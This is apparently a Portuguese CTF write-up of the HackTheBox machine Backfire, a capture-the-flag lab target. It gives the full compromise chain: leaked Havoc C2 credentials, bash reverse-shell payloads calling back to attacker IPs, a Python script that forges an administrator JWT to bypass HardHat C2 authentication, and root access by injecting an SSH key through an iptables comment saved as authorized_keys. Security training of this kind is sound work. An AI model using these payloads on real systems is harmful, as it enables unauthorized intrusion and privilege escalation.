> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md). # Relato do HackTheBox Backfire {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Vazamento de informações (arquivo Yaotl) * Exploração do Havoc-C2 (porta 40046) * Criação de chave SSH * Pivoting (Usuário: Sergej) * Exploração do HardHat (porta 7096) * HardHat - Bypass de autenticação * HardHat - Execução remota de código * Escalada de privilégio com sudo (IPTables) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts ```

Varredura de versão de portas com Nmap: (22,443,8000) Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted ```

### Porta 8000 Na porta 8000, encontramos dois arquivos interessantes: * `disable_tls.path` * `havoc.yaotl`

O **havoc.yaotl** o arquivo contém dois usuários com suas senhas e um nome de domínio: * **ilya:** `CobaltStr1keSuckz!` * **sergej:** `1w4nt2sw1tch2h4rdh4tc2` * **Host:** `backfire.htb`

Adicionamos este hostname em nosso `/etc/hosts` arquivo para facilitar o acesso.

O **disable/ tls.path** arquivo contém um patch para desabilitar TLS na porta de gerenciamento WebSocket (40056) no Havoc. Este patch substitui "wss\://" por "ws\://" e remove a configuração SSL tanto para o cliente quanto para o servidor. O autor justifica essa mudança ao especificar que essa porta só aceita conexões locais via encaminhamento SSH, reduzindo assim os riscos de segurança. Este patch também parece ser uma ironia ao trabalho rápido do usuário **sergej**'s.

## Porta 40046 Havoc-C2 {% embed url="" %} Para explorar a vulnerabilidade SSRF no Havoc, criamos um `payload.sh` arquivo contendo o seguinte código: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.254/4444 0>&1 ``` Em seguida, configuramos um servidor web para hospedar nosso payload com o seguinte comando: ```bash python3 -m http.server 80 ``` Depois, escutamos na porta 4444 com netcat para receber a conexão reversa: ```bash nc -nlvp 4444 ``` Modificamos o script para incluir as informações relevantes e então executamos o exploit com o seguinte comando:

```bash python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056 ``` **Acesso de usuário:** O usuário **ilya** permite que você se conecte à máquina alvo.

#### Estabilização do terminal

script /dev/null -c bash
Pressione `Ctrl+Z` e então estabilize o terminal:

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184

### Flag user.txt

Observamos que um cron job encerra nossa sessão a cada 2 minutos. Para contornar esse problema, vamos criar chaves SSH. ### **Criando chaves SSH:** Geramos uma nova chave SSH usando o seguinte comando: {% code overflow="wrap" %} ```bash ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa ``` {% endcode %}

Em seguida, modificamos o `authorized_keys` arquivo para adicionar nossa chave pública: {% code overflow="wrap" %} ```bash echo "SUA CHAVE" | tee -a ~/.ssh/authorized_keys ``` {% endcode %}

Em seguida, conectamos à máquina alvo usando SSH: ```bash ssh ilya@backfire.htb ```

### **Pivotar para o usuário Sergej** No diretório do usuário `ilya`, encontramos um arquivo `hardhat.txt` contendo a seguinte mensagem: > Sergej disse que instalou o HardHatC2 para testes e não mudou as configurações padrão. Espero que ele prefira o Havoc, porque eu não quero aprender outro framework C2, e Go

Examinamos as portas internas com o `netstat` comando: ```bash netstat -tuln ``` As portas 5000 e 7096 parecem particularmente interessantes.

**Encaminhamento de portas :** Fazemos encaminhamento de portas com SSH para acessar os serviços internos: ```bash ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb ``` ## **Porta 7096 - HardHatC2 CMS :** Na porta 7096 encontramos o CMS HardHat.

### **Bypass de autenticação do HardHat C2** {% embed url="" %} Usamos o seguinte script para burlar a autenticação e criar um novo usuário: ```python import jwt import datetime import uuid import requests rhost = '127.0.0.1:5000' # Crie o JWT de Administrador secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq" issuer = "hardhatc2.com" now = datetime.datetime.utcnow() expiration = now + datetime.timedelta(days=28) payload = { "sub": "HardHat_Admin", "jti": str(uuid.uuid4()), "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1", "iss": issuer, "aud": issuer, "iat": int(now.timestamp()), "exp": int(expiration.timestamp()), "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator" } token = jwt.encode(payload, secret, algorithm="HS256") print("JWT gerado:") print(token) # Use o JWT de Administrador para criar um novo usuário 'sth_pentest' como TeamLead burp0_url = f"https://{rhost}/Login/Register" burp0_headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } burp0_json = { "password": "jordan12345", "role": "TeamLead", "username": "jordan" } r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False) print(r.text) ``` O script gera o usuário `jordan` com o papel `TeamLead`.

### Hardhat C2 (RCE) Na `ImplantInteract` parte, temos acesso a um terminal. Ao executar o `whoami` comando, vemos que estamos logados como o usuário `sergej`.

Estabelecemos uma reverse shell para o usuário `sergej` escutando na porta 443: ```bash nc -nlvp 443 ``` E vamos executar o seguinte comando para fazer a conexão reversa ```bash bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1" ``` Uma vez conectado, adicionamos nossa chave SSH a `authorized_keys` para poder reconectar facilmente:

```bash echo "sua chave" | tee -a ~/.ssh/authorized_keys ``` ## **Elevação de privilégios :** ### **Sudo - IP-Tables** **Verificando os direitos do sudo** Começamos verificando os direitos de sudo disponíveis na máquina: ```bash sudo -l ```

Descobrimos que o usuário tem `sudo` privilégios sem senha para os seguintes comandos: * `/usr/sbin/iptables` * `/usr/sbin/iptables-save` **Gerando um par de chaves SSH** Geramos um par de chaves SSH para injetar nossa chave pública nos arquivos de autenticação do root: ```bash ssh-keygen -t ed25519 ``` Aqui está a chave pública gerada: {% code overflow="wrap" %} ``` ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot ``` {% endcode %} **Injeção de chave pública no iptables** Usamos o `--comment` campo do `iptables` para injetar nossa chave pública em uma regra {% code overflow="wrap" %} ```bash sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n' ``` {% endcode %} Verificamos se a regra foi adicionada: ```bash sudo /usr/sbin/iptables -L ```

**Salvar no arquivo authorized/\_keys** Salvamos as regras do iptables em um arquivo que será usado como o `authorized_keys` arquivo: ```bash sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2 ``` **Login como root** Por fim, podemos nos conectar via SSH como root: ```bash ssh root@backfire.htb ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.